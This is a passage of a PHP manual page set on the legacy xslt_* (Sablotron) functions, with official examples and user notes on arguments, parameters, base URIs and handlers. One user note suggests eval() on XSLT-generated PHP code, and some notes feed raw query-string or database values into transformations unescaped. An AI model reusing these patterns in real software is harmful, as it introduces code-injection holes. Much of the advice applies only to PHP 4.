    echo "<pre>\n";
    readfile('result.xml');
    echo "</pre>\n";
} else {
    echo "Sorry, sample.xml could not be transformed by sample.xsl into";
    echo "  result.xml the reason is that " . xslt_error($xh) . " and the ";
    echo "error code is " . xslt_errno($xh);
}

xslt_free($xh);

?>

While this functionality is great, many times, especially in a web environment, you want to be able to print out your results directly. Therefore, if you omit the third argument to the xslt_process() function (or provide a NULL value for the argument), it will automatically return the value of the XSLT transformation, instead of writing it to a file...

例子 2. Using the xslt_process() to transform an XML file and a XSL file to a variable containing the resulting XML data

<?php

// Allocate a new XSLT processor
$xh = xslt_create();

// Process the document, returning the result into the $result variable
$result = xslt_process($xh, 'sample.xml', 'sample.xsl');
if ($result) {
    echo "SUCCESS, sample.xml was transformed by sample.xsl into the \$result";
    echo " variable, the \$result variable has the following contents\n<br />\n";
    echo "<pre>\n";
    echo $result;
    echo "</pre>\n";
} else {
    echo "Sorry, sample.xml could not be transformed by sample.xsl into";
    echo "  the \$result variable the reason is that " . xslt_error($xh);
    echo " and the error code is " . xslt_errno($xh);
}

xslt_free($xh);

?>

The above two cases are the two simplest cases there are when it comes to XSLT transformation and I'd dare say that they are the most common cases, however, sometimes you get your XML and XSLT code from external sources, such as a database or a socket. In these cases you'll have the XML and/or XSLT data in a variable -- and in production applications the overhead of dumping these to file may be too much. This is where XSLT's "argument" syntax, comes to the rescue. Instead of files as the XML and XSLT arguments to the xslt_process() function, you can specify "argument place holders" which are then substituted by values given in the arguments array (5th parameter to the xslt_process() function). The following is an example of processing XML and XSLT into a result variable without the use of files at all.

例子 3. Using the xslt_process() to transform a variable containing XML data and a variable containing XSL data into a variable containing the resulting XML data

<?php
// $xml and $xsl contain the XML and XSL data

$arguments = array(
     '/_xml' => $xml,
     '/_xsl' => $xsl
);

// Allocate a new XSLT processor
$xh = xslt_create();

// Process the document
$result = xslt_process($xh, 'arg:/_xml', 'arg:/_xsl', NULL, $arguments);
if ($result) {
    echo "SUCCESS, sample.xml was transformed by sample.xsl into the \$result";
    echo " variable, the \$result variable has the following contents\n<br />\n";
    echo "<pre>\n";
    echo $result;
    echo "</pre>\n";
} else {
    echo "Sorry, sample.xml could not be transformed by sample.xsl into";
    echo "  the \$result variable the reason is that " . xslt_error($xh);
    echo " and the error code is " . xslt_errno($xh);
}
xslt_free($xh);
?>

Finally, the last argument to the xslt_process() function represents an array for any top-level parameters that you want to pass to the XSLT document. These parameters can then be accessed within your XSL files using the <xsl:param name="parameter_name"> instruction. The parameters must be UTF-8 encoded and their values will be interpreted as strings by the Sablotron processor. In other words - you cannot pass node-sets as parameters to the XSLT document.

例子 4. Passing PHP variables to XSL files

<?php

// XML string
$xml = '<?xml version="1.0"?>
<para>
change me
</para>';

// XSL string
$xsl = '
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="html" encoding="ISO-8859-1" indent="no"
omit-xml-declaration="yes"  media-type="text/html"/>
<xsl:param name="myvar"/>
<xsl:param name="mynode"/>
<xsl:template match="/">
My PHP variable : <xsl:value-of select="$myvar"/><br />
My node set : <xsl:value-of select="$mynode"/>
</xsl:template>
</xsl:stylesheet>';

$xh = xslt_create();

// the second parameter will be interpreted as a string
$parameters = array (
  'myvar' => 'test',
  'mynode' => '<foo>bar</foo>'
);

$arguments = array (
  '/_xml' => $xml,
  '/_xsl' => $xsl
);

echo xslt_process($xh, 'arg:/_xml', 'arg:/_xsl', NULL, $arguments, $parameters);

?>

上例将输出：

My PHP variable : test<br>
My node set : &lt;foo&gt;bar&lt;/foo&gt;

注: 注意如果使用 Windows，需要在路径前加上 file://。

add a note add a note User Contributed Notes
ken at guest dot ie
04-Apr-2006 07:46
After experiencing an xml declaration not at start of external entity error with XML recieved from a remote server. The server now sends response headers back and these were getting in the way.

This fixed it:

$fp = fsockopen($queryhost, 80);
if($fp) {
   fputs($fp, $header);
   while(!feof($fp)) {
       $xml .= fgets($fp, 128);
   }
}
fclose($fp);

//ensure string starts with the XML declaration.
$xml = substr($xml, strpos($xml, <?xml) );

$xsltproc = xslt_create();
$result = xslt_process($xsltproc,arg:/_xml, $xsltfile, NULL, array(/_xml => $xml));
09-Jul-2005 06:35
just to let you know an an apostrophe  can generate a  "not well-formed (invalid token)" error message. I spent a couple of hours to find it, until i found another user with similar problem:
http://www.feedforall.com/forum/viewtopic.php?t=116&view=next
lets hope that hosting providers will soon adopt php5
csarven at gmail dot com
31-Mar-2005 11:17
I found using the output buffer to be efficient, when dealing with php scripts, with xml data.

<?
$xh = xslt_create();

ob_start();
include('main.php');          //main.php contains php and xml
$xml_file = ob_get_contents();
ob_end_clean();

$arguments = array('/_xml' => $xml_file);

$result = xslt_process($xh, 'arg:/_xml', 'index.xsl', NULL, $arguments);

if (!$result) echo 'XSLT processing error: ' .xslt_error($xh) ;
else echo $result;

xslt_free($xh);
?>
ppekaar at hotmail dot com
08-Aug-2004 08:19
In response to "twa at carlbro dot dk" above I have finally solved how to combine two XML sources and one XSL stylesheet.  The above comment was nearly right,

for the php

<?php

xh = xslt_create();
xslt_set_base($xh,"file://c:\inetpub\wwwroot\yourwebsite\");

$arguments = array('/_xml' => $xmlSingle, '/_xsl'=>$xsl, '/xml2'=>$xml_rates);
$xslResult = xslt_process($xh, 'arg:/_xml', 'single_availability_filter.xsl', NULL, $arguments,$parameters);

?>

Please note that I have put in a blank variable "/_xsl => $xsl", the actuall XSL file is listed directly in the xslt_process fucntion.

Note that we have a third XML data source which is called xml2 and is set a value $xml_rates.  In your XSL stylesheet you can now call this XML data via the following line

<xsl:variable name="filter_rates" select="document('arg:/xml2')/RackRates"/>

the missing link was putting in the the arg:/

Also please note that I am using xslt_set_base which set the base filepath for all your XSL documents.

Hope this helps.
Phelim
Justin Ramos
18-May-2004 09:24
The xslt_ functions no longer work in PHP/5.0; the XSLT extension has been removed. To apply an XSL transformation to an XML document, you must use DomDocument (from DOM) and XsltProcessor (from XSL):

<?
$xml = new DomDocument();
$xml->load('foo.xml');

$xsl = new DomDocument;
$xsl->load('foo.xsl');

$proc = new xsltprocessor();
$proc->importStyleSheet($xsl);
echo($proc->transformToXML($xml));
?>
ajenks at paradise dot net dot nz
08-Feb-2004 02:00
By combining some of the user added notes and some experimentation, here's how I finally got the query string broken down and passed in as top-level parameters:

With a little more effort, this could be turned into a completely generic transform script - i.e. by adding query parms for the xml and xsl files also and excluding them from the $params array (though this lat bit may not be necessary).

Thanks to all those other users whose tips make up most of this solution!

<?php

// Process query string to $params array

$vars = explode("&", $_SERVER['QUERY_STRING']);
for ($i=0;$i<=count($vars);$i++) {
 $var = explode("=", $vars[$i]);
 $params[$var[0]] = $var[1];
}

// Fire up the engine

$xslt = xslt_create();
$xml = 'test.xml';
$xsl = 'test.xsl';

$result = xslt_process($xslt, $xml, $xsl, NULL, array(), $params);
if ($result) {
   echo $result;
}
else {
   print "Error:" . xslt_errno($xslt);
}

xslt_free($xslt);

?>
greg _at_ rhythmicdesign _dot_ com
23-Jan-2004 12:45
Figuring out the syntax to get parameters in was difficult but this works for me:

// Allows user to pass argument from URL as script.php?foo=VALUE

$xml = file_get_contents ('n.xml') ;
$xsl = file_get_contents ('n.xsl') ;

 // Perform the transformation
$args = array (
       '/_xml'    =>    $xml,
       '/_xsl'    =>    $xsl
);
$params = array (
       'foo'    =>    $foo
) ;

 $html = xslt_process($xsltproc, 'arg:/_xml', 'arg:/_xsl', NULL, $args, $params);

then in the XSL FILE:
--------------------------
<xsl:param name="foo"/>

<xsl:template match="/">
   <root>
   <test><xsl:value-of select="$foo"/></test>
   <xsl:apply-templates/></root>

</xsl:template>

Note: the param definition and the '$' dollar sign
ohlesbeauxjours at yahoo dot fr
10-Jun-2003 08:57
Thanks, Martin !

As a matter of fact, your way of doing is probably more logical than mine :)
The point is that scheme handler strangely adds a slash to your URI , if it doesn't start by any slash.

So if you call : document('http:www.url.com',page/@url)
...then $rest gets /www.url.com

But if you call : document('http://www.url.com',page/@url)
...then $rest gets //www.url.com

Another approach could consist in enclosing the scheme "http" in the XML attribute : <page url="http://www.w3.org/TR/REC-xml">
and simply doing a : $file = fopen("http:".$rest,"r");

It all depends on the context...

See also :
http://archive.gingerall.cz/archives/public/sablot2003/msg00598.html
martin_a_thomas at yahoo dot com
28-May-2003 07:06
I had a little trouble making the http scheme handler work until I removed the line with the strip function and then changed the fopen
from 'http://' to 'http:' -

$file = fopen("http:".$rest,"r");

Regards // Martin
ohlesbeauxjours at yahoo dot fr
03-Apr-2003 10:14
The XSLT document() function can only open local files.
But thanks to the Sablotron handlers, you can easely write an http-handler (or even ftp- !!).

This sample opens a particular XHTML page on the W3C, and will parse it to get the TITLE tag content.
The interesting point, here, is that the url to open (www.w3.org/TR/REC-xml) is defined... inside an XML  document :)

// XML content :
$xml='<?xml version="1.0"?>
    <page url="www.w3.org/TR/REC-xml">W3C Recommendation page</page>';

// XSL content :
$xsl='<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="html" encoding="ISO-8859-1" indent="no" omit-xml-declaration="yes" standalone="yes" media-type="text/html"/>
<xsl:template match="/">
   The title is : <xsl:value-of select="document(concat(\'http:\',page/@url))/html/head/title"/>
</xsl:template>
</xsl:stylesheet>';

// TRANSFORMATION :
function handGetAll($processor,$scheme,$rest) {
 $rest=substr($rest,1);
 switch($scheme) {
       case 'http':
           $file = fopen("http://".$rest,"r");
           while(!feof($file))
               $c .= fgets($file, 1024);
           fclose($file);
           return $c;
           break;
   }
}

$xh = xslt_create();
xslt_set_scheme_handlers($xh,array("get_all" => "handGetAll"));
echo xslt_process($xh,'arg:/_xml', 'arg:/_xsl',NULL,array("/_xml"=>$xml,"/_xsl"=>$xsl));
xslt_free($xh);
twa at carlbro dot dk
15-Jan-2003 02:12
Hi... I'm back with the result :)

After a good discussion on the official Sablotron / PHP mailing list I found out how to fix the problem I had with PHP 4.3.0. So now I will just summarize it here. The full discussion can be found online on this address:
http://archive.gingerall.cz/archives/public/sab-php/msg00252.html

The problem is actually an error in my code (huh? I thought I wrote error-free code). In my XSLT file I use the document() method provided by Sablotron. In my previous example I use this syntax:
  document('foobar')
The real syntax is actually:
  document('arg:/foobar')
The reason why this worked in previous versions of PHP was due to an error in the Sablotron lib (anyway so I think).

Another thing that I would like to share is the syntax of the 2nd, 3rd and 5th argument in the xslt_process() method. In the official examples on this page the names "_xml" and "_xsl" is used. But according to the Sablotron people any name can be used. And if you are wondering if you need the preceding "/" or not - then Lenar Lhmus from the sab-php mailing list told me it would be wise to use it. Normally it works either way, but it is always the best thing to use the slash. For the full discussion on this subject see the other thread at:
http://archive.gingerall.cz/archives/public/sab-php/msg00260.html

/watson
twa at carlbro dot dk
14-Jan-2003 05:13
It seems to be undocumented how to get the XSL parser to use two XML files at the same time to produce the output. It is possible though. Here is how it's done with the XML data in a variable:

First you need to change the 5th argument.
$xh = xslt_create();
$args = array('/_xml'=>$xml1, '/_xsl'=>$xsl, 'xml2'=>$xml2);
$result = xslt_process($xh, 'arg:/_xml', 'arg:/_xsl', NULL, $args);

Inside the XSLT document you then need to do this:
<xsl:template match="/">
  <root>
   <foo>
     <xsl:value-of select="/foo" />
   </foo>
   <bar>
     <xsl:value-of select="document('xml2')/bar" />
   </bar>
  </root>
</xsl:template>

This creates a XML result containing a root node called "root" containing two nodes. One called "foo" with the content of the root node in $xml1 and one called "bar" with the content of the root node in $xml2.

In the $args array I don't know if it is best to write "'xml2'=>$xml2" or "'/xml2'=>$xml2". Both work. I think it has something to do with the level of the argument (/level1/level2/level3). Maybe this site reveals the true syntax:
http://www.gingerall.com/charlie/ga/act/gadoc.act?pg=sablot#i__1029

I don't know if there is another - more elegant way - to do this. But I can't find any documentation on it.

For the moment I can't get this to work in PHP 4.3.0/Windows because there seems to be a problem with the Sablotron that is shipped with this version (I have not tried the UNIX version though). I think a new version of the sablot.dll will fix this problem. But for the moment I can't seem to get PHP to work with this new version. If anyone knows how to do this then please send me a mail. I'll post anything that I find out.

/watson
geiryork at start dot no
05-Jan-2003 11:43
An important detail if you want to use the last argument to include parameters to the template:
<?PHP
xslt_process($xslt, 'foo.xml', 'foo.xslt', NULL, array(), array('foo' => 'FOO'));
?>

In the xsl file:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

<xsl:param name="foo"/>
<xsl:template match="/">
<xsl:value-of select="foo"/>
.........

Note the <xsl:param name="foo"/> is specified *outside* the template tag, but can be referenced inside it.
sanj at wiredesign dot com
12-Nov-2002 03:34
Okay, now this is a neat function once you play around with it
bit...we're basically using it in two ways...one to preview data
from a mysql database, and the other to actually publish the
output to a .htm file. The following example shows us grabbing
data from the database and then using the xslt_process() function
 to combine this data file a .xsl file residing on the server...

<?php
include("../../includes/connect_to_db.inc");

$query = mysql_query("select * from mytbl where mytbl_id=1");

$mydata = mysql_fetch_array($query);

$xmlString  = '<?xml version="1.0"?><data>';
$xmlString .= '<mytbl_id>'.$mydata["mytbl_id"].'</mytbl_id>';
$xmlString .= "<mytbl_title>".$mydata["mytbl_title"]."</mytbl_title>";
$xmlString .= "<mytbl_filename>".
                     $mydata["mytbl_filename"]."</mytbl_filename>";
$xmlString .= "</data>";

//create instance of xslt parser
$xh = xslt_create();

//store xmlString in an array using a key '/_xml'
$arguments = array('/_xml' => $xmlString);

//to write data to a file
xslt_process($xh, 'arg:/_xml', 'style.xsl', 'result.htm', $arguments);

//to view in brower
echo(xslt_process($xh, 'arg:/_xml', 'style.xsl', NULL, $arguments));

?>

The above function works well, although you can't seem to view
 the resulting htm document in the browser and write to a file at
 the same time...instead you have to call the function twice, once
 to write data to a file and once to display data in a browser.

-----------------------
here's a simple style.xsl file that works with this example...

<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
   <html>
   <head>
   </head>
   <body>
   <h1>Here's my data!</h1>
   <xsl:value-of select="data/mytbl_title" /><br />
   <xsl:value-of select="data/mytbl_filename" /><br />
   </body>
   </html>
</xsl:template>
</xsl:stylesheet>

enjoy!

Sanj Maghera
tom at hubalek dot net
11-Nov-2002 07:52
Hi,

keep in mind that fifth parameter of function xsl_process() is __arguments__ and sixth is __xsl parameters__. I spent a lot of time learning difference between arguments and parameters ;-)

Tom
jordigasulla at yahoo dot com
01-Oct-2002 05:28
The output of the XSLT process doesn't have to be necessarily HTML. If you receive a lot of data in the XML and want to distribute it along all your page, you can convert all your page to XHTML or force the output to be PHP code and then eval()uated. For instance, your XSL document (part of it) could look like:

<xsl:text disable-output-escaping="yes">$networth=</xsl:text><xsl:value-of select="networth" /><xsl:text disable-output-escaping="yes">;</xsl:text>

and your PHP code could look like:

$result = xslt_process($xh, 'arg:/_xml', 'arg:/_xsl', NULL, $arguments);
if ($result) {
  eval(addslashes($result));

that way, you can use the variable $networth in wherever you want inside your PHP file, like:

<? print $networth; ?>
dragan at iskrassoderwas dot de
02-Aug-2002 08:09
Your input into xslt-process can of course be of external-php-script-nature. This way, you can use PHP scripts that output XML code to make up the transformation:

// Transforming "Dynamic XML" through static XSL
<?php
// Gonna contain PHP-XML output
$arguments = array(
     '/_xml' => $xml,
);

$xh = xslt_create();

// Read plain PHP-XML output
$xmlData = fopen ("http://somehost/xmloutputtingscript.php", "r");

// Stack up output into one String
while ($line = fgets ($xmlData))
  $xml .= $line;

// Process the document
$result = xslt_process($xh, 'arg:/_xml', 'mystylesheet.xsl', NULL, $arguments);

// Print out your transformed document
echo $result;

xslt_free($xh);
j dot metzger at steptown dot com
07-Jul-2002 05:12
This in example on using variables from php in xsl-stylesheets (Sablotron 0.95)

with:

<xsl:param name="foo" />

and how to pass the param from php to Sablotron
(I'm using Sablotron 0.95)

The php-wrapper to Sablotron has changed somewhat in 4.0.6, so I'm using the new (experimental) syntax.

Maybe this could change again in the future

I use 4.2.1 which is compiled with:
'./configure' '--with-mysql' '--with-apxs' '--enable-xslt' '--with-xslt-sablot=/usr/local/lib' '--with-expat-dir=/usr' '--with-dom' '--with-zlib-dir=/usr'

When you want to use a param passed to the xslt_process you have to put it in the top level of the xslt-script, otherwice it won't work (means: before defining any template)
Afterwards you can use the passed param with

<xsl:value-of select="$yourparamname" />

in the template.

example:

====> xsl-stylesheet <====

<?xml version="1.0"?>

<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

<xsl:output method="html" version="1.0" encoding="UTF-8" indent="no" omit-xml-declaration="yes" doctype-public="-//W3C/DTD XHTML 1.0 Transitional//EN" doctype-system="
http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" standalone="yes" media-type="text/html" />

<xsl:param name="tpsession" />

<xsl:template match="/root/output">
   this is the template stuff. and this is the param

<xsl:value-of select="$tpsession" />

</xsl:template>

</xsl:stylesheet>

====> end of xsl - stylesheet <====

o.k. -> to call the xslt_parser (Sablotron 0.95 in my case) with params do this:

<?php

/* php script */

$xh = xslt_create();
$arg = array(    '/_xml'  =>$t_xmlString,
                     '/_xsl'    => $t_xslString );
$param = array('tpsession' = session_name()."=".session_id());

$result = @xslt_process($xh, 'arg:/_xml', 'arg:/_xsl',NULL,$arg,$param);
if(!$result){
print xslt_error($xh);
}
else
print $result;
xslt_free($xh);

/* end of php-script */

?>

That's it -> have fun
tkearns at fastmail dot fm
11-Jun-2002 12:18
For those of you wondering what the hell is up with the very strange format for refering to in-memory data, see
http://www.gingerall.com/charlie/ga/act/gadoc.act?pg=sablot#i__1029

normally you pass a file name (or URI) using the 'file:' syntax. The 'arg:' syntax introduced by sablotron does not refer to a file system path, it refers to an ARGument - and of course, arguments are in-memory. In the case of PHP, the argument reference is an index to the array in parameter 5 of the xslt_process() function. I think the forward slash is just to maintain the convention of path notation.

Someone with more knowledge on the topic could probably provide a more concise definition. If so, it would be nice to have it included as part of the standard documentation set.

Some wrapper functions would make things easier still.

Here's a wrapper I wrote.

function XtDataWithFile($xmlData, $uriXSLT) {
   $args = array ( '/_xml' => $xmlData );
   $xp = xslt_create();
   $out = xslt_process($xp, 'arg:/_xml', $uriXSLT, NULL, $args);
   xslt_free($xp);
   return $out;
}

of course you could do XtFileWithData() can XtDataWithData()
msopacua at idg dot nl
04-Jun-2002 07:00
Took me a while to figure this one out, but no matter what your stylesheet encoding and xml encoding says - argument values, need to be UTF-8.

Version 4.2.1 and sablot 0.90.
tim at zero-interactive dot com
02-May-2002 04:11
[Editors note: this is basic URI syntax. Any URI, is specified as: <protocol>:location. Any resource, that can point to a network, needs '//' to indicate it's "network awareness". F.E.: ftp://, http:// and yes - file://.]

For those of you wanting to know how to fix the annoying bug telling you that an econding type of '' is unacceptable ....

Win2K, PHP 4.2.0

When processing files, you need to prefix each filename with "file://" or else you will get the above mentioned error.  Then you just need to set the encoding in your xslt file to get it to work.

You must use this prefix with your xml, xsl and output files if you are using all three like I am.

Happy hunting!!!
patrice dot lazareff at lbb dot fr dot invalid
18-Apr-2002 09:04
This function's syntax has changed since PHP 4.0.x, here is a quick workaround for those who use a same script with various versions.
Note that in order to work with PHP 4.0.x, the commented part must not be directly within the code (or a parse error will occur).
This is why I commented it out here and call this bit of code via an include.

// PHP 4.0.6/4.1.x difference
$minor = explode(".",phpversion());
if($minor[1] >= 1) // PHP 4.1.x -- preferred
{
   include("php412_XSLT.php");

/* here is the included code
$arguments = array(
'/_xml' => $final_xml,
'/_xsl' => $xsl_content
);

$html_out = xslt_process($xh, 'arg:/_xml', 'arg:/_xsl', NULL, $arguments);

end of included code */

} else // PHP 4.0.6 -- works okay
   xslt_process($xsl_content, $final_xml,$html_out);

echo $html_out;
theseer at php dot net
14-Mar-2002 11:22
Note that this extension changed quite heavily in the latest releases. The documentation and howtos on the web may not match your version of php !

To verify your extension, check the configure information

 ( <?php phpinfo(); ?> )

 for either

     --with-sablot  ( old )
 or
   --enable-xslt --with-xslt-sablot (new).

Most ( all?) web documents i found describe the use of the old extension, which also changed in the process of development.

This extension is marked experimental for a reason ;)
lennart at rsd-online dot dk
20-Feb-2002 12:14
Relative paths using xsl:include

i addition to francis's note above you can set the base path with the xslt_set_base function like this on windows like this.

xslt_set_base('file://c:/path to xslt files/')

from you xsl file use the
<xsl:include href="file.xls">

If you wish to have full access to all files in you site only specify the root path and then use
<xsl:include href="somepath/file.xls">

God speed.
francisf at videotron dot ca
13-Feb-2002 08:00
Just because that I have look around and see other look around without any solution, so for prosperity, I give somethings that surely a lot of people know but a lot don't too.

OK, if you want to do xsl:include in your xsl file that will be parsed by your php page with xslt and sablot installed,

you have to put that in your xsl page (on a linux machine):
<xsl:include  href="file:///pathtomyxslfile/xy.xsl">

yes you do have 3 "///", the 2 first are used by sablotron and the third one is used for your path as: /pathtomyxslfile/xy.xsl

It was in the sablotron doc, well part of it.

Tested on:
php 4.1.0
Apache/1.3.22
sablot 0.80

Thanks you and take care.
chris_coupal at hotmail dot com
29-Jan-2002 10:06
If you are getting the data from a database and creating the XML data stream for transformation, you can add the parameters for the stylesheet into the XML data. Once in the data, you can reference them from the XSL stylesheet directly.
ascii_NO_SPAM_ at _NO_SPAM_microcore dot dk
18-Jan-2002 01:42
I noticed a slight difference in html output when upgrading to php4.1.1 on Windows.

I found the garbled output to be caused by [indent="yes"] in <xsl:output /> and simply changed it to [indent="no"].
Bill Humphries <whump at mac dot com>
07-Jan-2002 08:48
It appears that the xslt_process function does not like to have NULLs passed into it for the Argument and Parameter arrays. However, you can pass it an empty Argument array (modulo any typos):

$xh = xslt_create();
$args = array();
$params = array( 'foo' => 'bar' );
$result = xslt_process($xh,
'source.xml','source.xsl',NULL,
$args,$params);
if ($result)
{
 print $result;
} else {
 print "Error: ".xslt_error($xh);
}

That way you don't have to worry about providing methods for reading files into the argument array.
add a note add a note

后退 | 起点 | 前进
xslt_getopt | 上一级 | xslt_set_base


xslt_set_base

(PHP 4 >= 4.0.5, PECL)

xslt_set_base -- Set the base URI for all XSLT transformations

Description

void xslt_set_base ( resource xh, string uri )

Sets the base URI for all XSLT transformations, the base URI is used with Xpath instructions to resolve document() and other commands which access external resources. It is also used to resolve URIs for the <xsl:include> and <xsl:import> elements.

As of 4.3, the default base URI is the directory of the executing script. In effect, it is the directory name value of the __FILE__ constant. Prior to 4.3, the default base URI was less predictable.

注: 注意如果使用 Windows，需要在路径前加上 file://。

add a note add a note User Contributed Notes
edmon at oohaa dot net
04-Oct-2004 07:09
$filebase = 'file://' . getcwd () . '/xsl/';
   xslt_set_base($xsltproc, $filebase);

file:// is needed for linux too.
php 4.3.8
Kelvin Cheng
10-Mar-2004 06:44
It works great on my windows platform as below.

<?php
$xh = xslt_create();
$fileBase = 'file://' . getcwd () . '/';
xslt_set_base ( $xh, $fileBase );

...

?>

Actually, it make use of the getcwd() to get the current directory. Hope it can help.
add a note add a note

后退 | 起点 | 前进
xslt_process | 上一级 | xslt_set_encoding


xslt_set_encoding

(PHP 4 >= 4.0.5, PECL)

xslt_set_encoding -- Set the encoding for the parsing of XML documents

Description

void xslt_set_encoding ( resource xh, string encoding )

Set the output encoding for the XSLT transformations. When using the Sablotron backend, this option is only available when you compile Sablotron with encoding support.

add a note add a note User Contributed Notes
francois at flash-france dot com
26-Jan-2005 11:05
sablotron and php have to be correctly linked with iconv library to get this function working

IE on sabotron ./configure :
--with-iconv-prefix=/your/path
Hudson Silva
13-Mar-2004 01:31
I'm running Mandrake Linux v9.1, with Apache 2.0.48 and PHP 4.3.4...I'm have make PHP with XSLT support, and this work fine, expect because a problem...the function xslt_set_encoding don't work, and i have found a solution...simply, type export LDFLAGS=-lstdc++ before start the configure program of PHP. And this will work!
zibi at sails pl
12-Jun-2003 11:33
i'm usig it that way:

$ht=xslt_create();
xslt_set_encoding($ht,"ISO-8859-2");
$args = array ( '/_xml' => $xml, '/_xslt' => $xslt);
$result=xslt_process($ht,'arg:/_xml','arg:/_xslt',NULL,$args);

all placed in very nice class ;-)
add a note add a note

后退 | 起点 | 前进
xslt_set_base | 上一级 | xslt_set_error_handler


xslt_set_error_handler

(PHP 4 >= 4.0.4, PECL)

xslt_set_error_handler -- Set an error handler for a XSLT processor

Description

void xslt_set_error_handler ( resource xh, mixed handler )

Set an error handler function for the XSLT processor given by xh, this function will be called whenever an error occurs in the XSLT transformation (this function is also called for notices).

The user function needs to accept four parameters: the XSLT processor, the error level, the error code and an array of messages. The function can be shown as: error_handler ( resource xh, int error_level, int error_code, array messages )

范例

例子 1. xslt_set_error_handler() Example

<?php

// Our XSLT error handler
function xslt_error_handler($handler, $errno, $level, $info)
{
  // for now, let's just see the arguments
  var_dump(func_get_args());
}

// XML content :
$xml='<?xml version="1.0"?>
<para>
oops, I misspelled the closing tag
</pata>';

// XSL content :
$xsl='<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
   <strong><xsl:value-of select="para"/></strong>
</xsl:template>
</xsl:stylesheet>';

$xh = xslt_create();

xslt_set_error_handler($xh, "xslt_error_handler");

echo xslt_process($xh, 'arg:/_xml', 'arg:/_xsl',
                  NULL, array("/_xml" => $xml, "/_xsl" => $xsl));

?>

上例的输出类似于：

array(4) {
  [0]=>
  resource(1) of type (XSLT Processor)
  [1]=>
  int(3)
  [2]=>
  int(0)
  [3]=>
  array(6) {
    ["msgtype"]=>
    string(5) "error"
    ["code"]=>
    string(1) "2"
    ["module"]=>
    string(9) "Sablotron"
    ["URI"]=>
    string(9) "arg:/_xml"
    ["line"]=>
    string(1) "4"
    ["msg"]=>
    string(34) "XML parser error 7: mismatched tag"
  }
}

参见

xslt_set_object() if you want to use an object method as handler.

add a note add a note User Contributed Notes
jocke n0spam at selincite dot com
01-Oct-2002 11:20
Addition to the last note. in the array I have used array($this, "myMethod") to make it use an internal function in a class.
I reckon this is how it is meant to work (not tested)
$myObj = new MyObj()
xslt_set_error_handler_($xh, array($myObj, "myErrorMethod"));
27-Aug-2002 04:15
To set the error handler to the instance of an object, use the:

xslt_set_error_handler($xh, array($obj, $method))

syntax.
add a note add a note

后退 | 起点 | 前进
xslt_set_encoding | 上一级 | xslt_set_log


xslt_set_log

(PHP 4 >= 4.0.6, PECL)

xslt_set_log -- Set the log file to write log messages to

Description

void xslt_set_log ( resource xh [, mixed log] )

xh

A reference to the XSLT parser.

log

This parameter is either a boolean value which toggles logging on and off, or a string containing the logfile in which log errors too.

This function allows you to set the file in which you want XSLT log messages to, XSLT log messages are different than error messages, in that log messages are not actually error messages but rather messages related to the state of the XSLT processor. They are useful for debugging XSLT, when something goes wrong.

By default logging is disabled, in order to enable logging you must first call xslt_set_log() with a boolean parameter which enables logging, then if you want to set the log file to debug to, you must then pass it a string containing the filename.

注: 注意如果使用 Windows，需要在路径前加上 file://。

范例

例子 1. Using the XSLT Logging features

<?php

$xh = xslt_create();
xslt_set_log($xh, true);
xslt_set_log($xh, getcwd() . '/myfile.log');

$result = xslt_process($xh, 'dog.xml', 'pets.xsl');
echo $result;

xslt_free($xh);
?>

add a note add a note User Contributed Notes
nospam at phppatterns dot com
07-Apr-2003 11:50
With PHP 4.3.1, Sablotron 0.97 on Windows you do not need the 'file://' prepend to specify a log file but the full system path is required.
add a note add a note

后退 | 起点 | 前进
xslt_set_error_handler | 上一级 | xslt_set_object


xslt_set_object

(PHP 4 >= 4.3.0, PECL)

xslt_set_object -- Sets the object in which to resolve callback functions

Description

bool xslt_set_object ( resource processor, object &obj )

This function allows to use the processor inside an object and to resolve all callback functions in it.

The callback functions can be declared with xml_set_sax_handlers(), xslt_set_scheme_handlers() or xslt_set_error_handler() and are assumed to be methods of object.

范例

例子 1. Using your own error handler as a method

<?php

class my_xslt_processor {

    var $_xh; // our XSLT processor

    function my_xslt_processor()
    {
        $this->_xh = xslt_create();

        // Make $this object the callback resolver
        xslt_set_object($this->_xh, $this);

        // Let's handle the errors
        xslt_set_error_handler($this->_xh, "my_xslt_error_handler");
    }

    function my_xslt_error_handler($handler, $errno, $level, $info)
    {
        // for now, let's just see the arguments
        var_dump(func_get_args());
    }
}

?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
xslt_set_log | 上一级 | xslt_set_sax_handler


xslt_set_sax_handler

(4.0.3 - 4.0.6 only)

xslt_set_sax_handler -- Set SAX handlers for a XSLT processor

Description

void xslt_set_sax_handler ( resource xh, array handlers )

Set SAX handlers on the resource handle given by xh. SAX handlers should be a two dimensional array with the format (all top level elements are optional):

array(
[document] =>
    array(
        start document handler,
        end document handler
    ),
[element] =>
    array(
        start element handler,
        end element handler
    ),
[namespace] =>
    array(
        start namespace handler,
        end namespace handler
    ),
[comment] => comment handler,
[pi] => processing instruction handler,
[character] => character data handler
)

add a note add a note User Contributed Notes
jas1298 at ecs dot soton dot ac dot uk
05-Mar-2002 04:55
This function appears to be superseded (from 4.0.6) by http://www.php.net/manual/en/function.xslt-set-sax-handlers.php
add a note add a note

后退 | 起点 | 前进
xslt_set_object | 上一级 | xslt_set_sax_handlers


xslt_set_sax_handlers

(PHP 4 >= 4.0.6, PECL)

xslt_set_sax_handlers -- Set the SAX handlers to be called when the XML document gets processed

Description

void xslt_set_sax_handlers ( resource processor, array handlers )

xslt_set_sax_handlers() registers the SAX handlers for the document, given a XSLT processor resource.

handlers should be an array in the following format:

<?php

$handlers = array(

  "document" => array(
    "start_doc",
    "end_doc"),

  "element"  => array(
    "start_element",
    "end_element"),

  "namespace" => array(
    "start_namespace",
    "end_namespace"),

  "comment"   => "comment",

  "pi"        => "pi",

  "character" => "characters"

);
?>

Where the functions follow the syntax described for the scheme handler functions.

注: The given array does not need to contain all of the different sax handler elements (although it can), but it only needs to conform to "handler" => "function" format described above.

